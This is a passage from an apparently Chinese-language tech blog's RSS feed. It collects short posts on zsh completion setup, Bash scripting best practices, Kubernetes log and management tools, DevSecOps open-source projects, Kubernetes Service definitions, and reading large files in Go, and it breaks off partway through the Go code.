&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Source - https://stackoverflow.com/q&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Posted by kylemart&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Retrieved 2026-01-05, License - CC BY-SA 3.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># pure shell theme&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>autoload -U promptinit; promptinit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>prompt pure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># completion definitions&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zstyle &lt;span style="color:#e6db74">&amp;#39;:completion:*&amp;#39;&lt;/span> matcher-list &lt;span style="color:#e6db74">&amp;#39;m:{a-zA-Z}={A-Za-z}&amp;#39;&lt;/span> &lt;span style="color:#e6db74">&amp;#39;r:|=*&amp;#39;&lt;/span> &lt;span style="color:#e6db74">&amp;#39;l:|=* r:|=*&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fpath&lt;span style="color:#f92672">=(&lt;/span>/usr/local/share/zsh-completions $fpath&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># syntax highlighting (must be last line)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>source /usr/local/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="答案">答案&lt;/h4>
&lt;p>只要 &lt;code>autoload&lt;/code> 並執行 &lt;code>compinit&lt;/code> 即可。&lt;/p></description></item><item><title>Linkerd 2.8 - 實現超級簡單又安全的多叢集(multicluster) Kubernetes 架構</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211209-linkerd-multi-kubernetes-cluster-feature-overview/</link><pubDate>Thu, 09 Dec 2021 09:25:44 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211209-linkerd-multi-kubernetes-cluster-feature-overview/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://rammusxu.github.io/2020/07/28/Linkerd-Multi-Kubernetes-Cluster-Feature-Overview/" target="_blank" rel="noopener">Linkerd 2.8 - 實現超級簡單又安全的多叢集(multicluster) Kubernetes 架構&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>撰寫 Bash 腳本的最佳實務</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211206-bash-best-practices/</link><pubDate>Mon, 06 Dec 2021 11:11:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211206-bash-best-practices/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://kvz.io/bash-best-practices.html" target="_blank" rel="noopener">撰寫 Bash 腳本的最佳實務&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.javacodegeeks.com/2013/10/shell-scripting-best-practices.html" target="_blank" rel="noopener">Shell 腳本撰寫最佳實務&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#75715e"># Bash3 Boilerplate. Copyright (c) 2014, kvz.io&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o errexit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o pipefail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o nounset
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># set -o xtrace&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Set magic variables for current file &amp;amp; dir&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>__dir&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>cd &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>dirname &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>BASH_SOURCE[0]&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> pwd&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>__file&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>__dir&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">/&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>BASH_SOURCE[0]&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>__base&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename &lt;span style="color:#e6db74">${&lt;/span>__file&lt;span style="color:#e6db74">}&lt;/span> .sh&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>__root&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>cd &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>dirname &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>__dir&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> pwd&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#75715e"># &amp;lt;-- change this as it depends on your app&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>arg1&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>1&lt;span style="color:#66d9ef">:-&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-shift-讀取函式參數">使用 shift 讀取函式參數&lt;/h5>
&lt;blockquote>
&lt;p>這樣在日後需要調整參數順序時會更容易。&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Processes a file.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># $1 - the name of the input file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># $2 - the name of the output file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>process_file&lt;span style="color:#f92672">(){&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> local -r input_file&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">&amp;#34;&lt;/span>; shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> local -r output_file&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">&amp;#34;&lt;/span>; shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="宣告你的變數">宣告你的變數&lt;/h5>
&lt;blockquote>
&lt;p>若可攜性是重點，請用 &lt;code>typeset&lt;/code> 取代 &lt;code>declare&lt;/code>。&lt;/p></description></item><item><title>Day 28 - Kubernetes 第三方好用工具介紹</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211202-10252675/</link><pubDate>Thu, 02 Dec 2021 13:28:09 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211202-10252675/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10252675" target="_blank" rel="noopener">Day 28 - Kubernetes 第三方好用工具介紹&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ kubectl get pods
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME READY STATUS RESTARTS AGE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-947rv 1/1 Running &lt;span style="color:#ae81ff">0&lt;/span> 84s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-fglr9 1/1 Running &lt;span style="color:#ae81ff">0&lt;/span> 84s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-k5wtg 1/1 Running &lt;span style="color:#ae81ff">0&lt;/span> 84s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-rrvk4 1/1 Running &lt;span style="color:#ae81ff">0&lt;/span> 84s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-zhwlj 1/1 Running &lt;span style="color:#ae81ff">0&lt;/span> 84s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="sternkail">&lt;a href="https://github.com/wercker/stern" target="_blank" rel="noopener">Stern&lt;/a>/Kail&lt;/h4>
&lt;blockquote>
&lt;p>創建出來的 Pod 名稱上面都會有一些不好閱讀的亂數&lt;/p>
&lt;p>如果使用 kubectl 來觀察個別 Pod 的 log 就必須要於不同的 pod 之間來回切換&lt;/p>
&lt;p>這方面的工具滿多的，譬如 Stern, Kube-tail, Kail 等都可以&lt;/p>&lt;/blockquote>
&lt;p>上述範例會有五個 pod，而且這五個 pod 的名稱都是 ithome 開頭，因此我可以直接用 &lt;code>stern ithom&lt;/code> 的方式來抓取這些 pod 的資訊，結果如下圖&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ stern ithome
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-zhwlj netutils Hello! &lt;span style="color:#ae81ff">369&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-fglr9 netutils Hello! &lt;span style="color:#ae81ff">369&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-947rv netutils Hello! &lt;span style="color:#ae81ff">367&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-k5wtg netutils Hello! &lt;span style="color:#ae81ff">368&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-rrvk4 netutils Hello! &lt;span style="color:#ae81ff">369&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-zhwlj netutils Hello! &lt;span style="color:#ae81ff">370&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-fglr9 netutils Hello! &lt;span style="color:#ae81ff">370&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-947rv netutils Hello! &lt;span style="color:#ae81ff">368&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-k5wtg netutils Hello! &lt;span style="color:#ae81ff">370&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-rrvk4 netutils Hello! &lt;span style="color:#ae81ff">370&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-zhwlj netutils Hello! &lt;span style="color:#ae81ff">371&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-fglr9 netutils Hello! &lt;span style="color:#ae81ff">371&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-947rv netutils Hello! &lt;span style="color:#ae81ff">369&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-k5wtg netutils Hello! &lt;span style="color:#ae81ff">371&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-rrvk4 netutils Hello! &lt;span style="color:#ae81ff">371&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-zhwlj netutils Hello! &lt;span style="color:#ae81ff">372&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ithome-6564f65698-fglr9 netutils Hello! &lt;span style="color:#ae81ff">372&lt;/span> secs elapsed...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^C
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="k9s">K9S&lt;/h4>
&lt;blockquote>
&lt;p>過往總是透過 kubectl 指令於各個資源，各 namespace 間切來切去，特別是要使用 &lt;code>exec&lt;/code>, &lt;code>get&lt;/code>, &lt;code>describe&lt;/code>, &lt;code>logs&lt;/code>, &lt;code>delete&lt;/code> 等指令時，常常打的手忙腳亂或是覺得心累，有這種困擾的人可以考慮使用看看 k9s 這個工具&lt;/p></description></item><item><title>值得了解的 5 個 DevSecOps 開源專案</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211130-5-devsecops-open-source-projects-know/</link><pubDate>Tue, 30 Nov 2021 12:41:13 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211130-5-devsecops-open-source-projects-know/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://enterprisersproject.com/article/2021/8/5-devsecops-open-source-projects-know" target="_blank" rel="noopener">值得了解的 5 個 DevSecOps 開源專案&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="clair">&lt;a href="https://github.com/quay/clair" target="_blank" rel="noopener">Clair&lt;/a>&lt;/h4>
&lt;h4 id="sigstore">&lt;a href="https://www.sigstore.dev/" target="_blank" rel="noopener">Sigstore&lt;/a>&lt;/h4>
&lt;h4 id="kubelinter">&lt;a href="https://github.com/stackrox/kube-linter" target="_blank" rel="noopener">KubeLinter&lt;/a>&lt;/h4>
&lt;h4 id="open-policy-agent-and-gatekeeper">&lt;a href="https://github.com/open-policy-agent/gatekeeper" target="_blank" rel="noopener">Open Policy Agent and Gatekeeper&lt;/a>&lt;/h4>
&lt;h4 id="falco">&lt;a href="https://falco.org/" target="_blank" rel="noopener">Falco&lt;/a>&lt;/h4></description></item><item><title>[Kubernetes] Service Overview</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211124-k8s-service-overview/</link><pubDate>Wed, 24 Nov 2021 14:00:45 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211124-k8s-service-overview/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://godleon.github.io/blog/Kubernetes/k8s-Service-Overview/" target="_blank" rel="noopener">[Kubernetes] Service Overview&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="定義-service">定義 Service&lt;/h3>
&lt;h4 id="搭配-selector">搭配 selector&lt;/h4>
&lt;blockquote>
&lt;p>由於要先有 Pod 才會有定義 Service 的需求，因此假設 k8s 中已經有一些 Pod 的存在(同時對外開放 TCP port 9376)，並帶有 app=MyApp 的 label，此時就可以定義一個 Service 來作為這些 pod 前方的抽象層，透過 domain name 的方式提供服務&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">kind&lt;/span>: &lt;span style="color:#ae81ff">Service&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">apiVersion&lt;/span>: &lt;span style="color:#ae81ff">v1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">metadata&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">my-service&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">spec&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># type 一共有四種(ClusterIP, NodePort, LoadBalancer, ExternalName)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 預設是 ClusterIP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">type&lt;/span>: &lt;span style="color:#ae81ff">ClusterIP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 選擇帶有 &amp;#34;app=MyApp&amp;#34; 的 pod&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">selector&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">app&lt;/span>: &lt;span style="color:#ae81ff">MyApp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Service 實際對外服務的設定&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ports&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">protocol&lt;/span>: &lt;span style="color:#ae81ff">TCP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">port&lt;/span>: &lt;span style="color:#ae81ff">80&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 此為 Pod 對外開放的 port number&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">targetPort&lt;/span>: &lt;span style="color:#ae81ff">9376&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>Pod &amp;lt;---&amp;gt; Endpoint(tcp:9376) &amp;lt;---&amp;gt; Service(tcp:80, with VIP)&lt;/code>&lt;/p></description></item><item><title>25秒读取16GB文件，Go怎么做到的？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211122-processing-16gb-file-in-seconds-go-lang/</link><pubDate>Mon, 22 Nov 2021 11:07:17 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211122-processing-16gb-file-in-seconds-go-lang/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/k6k9bwpKPdfShEEiTLSJ7w" target="_blank" rel="noopener">25 秒读取 16GB 文件，Go 怎么做到的？&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/swlh/processing-16gb-file-in-seconds-go-lang-3982c235dfa2" target="_blank" rel="noopener">Reading 16GB File in Seconds, Golang&lt;/a>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>打开文件后，我们有以下两个选项可以选择：&lt;/p>
&lt;ul>
&lt;li>逐行读取文件，这有助于减少内存紧张，但需要更多的时间。&lt;/li>
&lt;li>一次将整个文件读入内存并处理该文件，这将消耗更多内存，但会显著减少时间。&lt;/li>
&lt;/ul>
&lt;p>由于文件太大，即 16 GB，因此无法将整个文件加载到内存中。但是第一种选择对我们来说也是不可行的，因为我们希望在几秒钟内处理文件。&lt;/p>
&lt;p>但你猜怎么着，还有第三种选择。瞧……相比于将整个文件加载到内存中，在 Go 语言中，我们还可以使用 bufio.NewReader()将文件分块加载。&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Now&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">args&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Args&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> len(&lt;span style="color:#a6e22e">args&lt;/span>) &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> { &lt;span style="color:#75715e">// for format LogExtractor.exe -f &amp;#34;From Time&amp;#34; -t &amp;#34;To Time&amp;#34; -i &amp;#34;Log file directory location&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Please give proper command line arguments&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">startTimeArg&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">args&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">finishTimeArg&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">args&lt;/span>[&lt;span style="color:#ae81ff">3&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fileName&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">args&lt;/span>[&lt;span style="color:#ae81ff">5&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">fileName&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;cannot able to read the file&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>() &lt;span style="color:#75715e">// close after checking err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">queryStartTime&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Parse&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;2006-01-02T15:04:05.0000Z&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">startTimeArg&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Could not able to parse the start time&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">startTimeArg&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">queryFinishTime&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Parse&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;2006-01-02T15:04:05.0000Z&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">finishTimeArg&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Could not able to parse the finish time&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">finishTimeArg&lt;/span>)
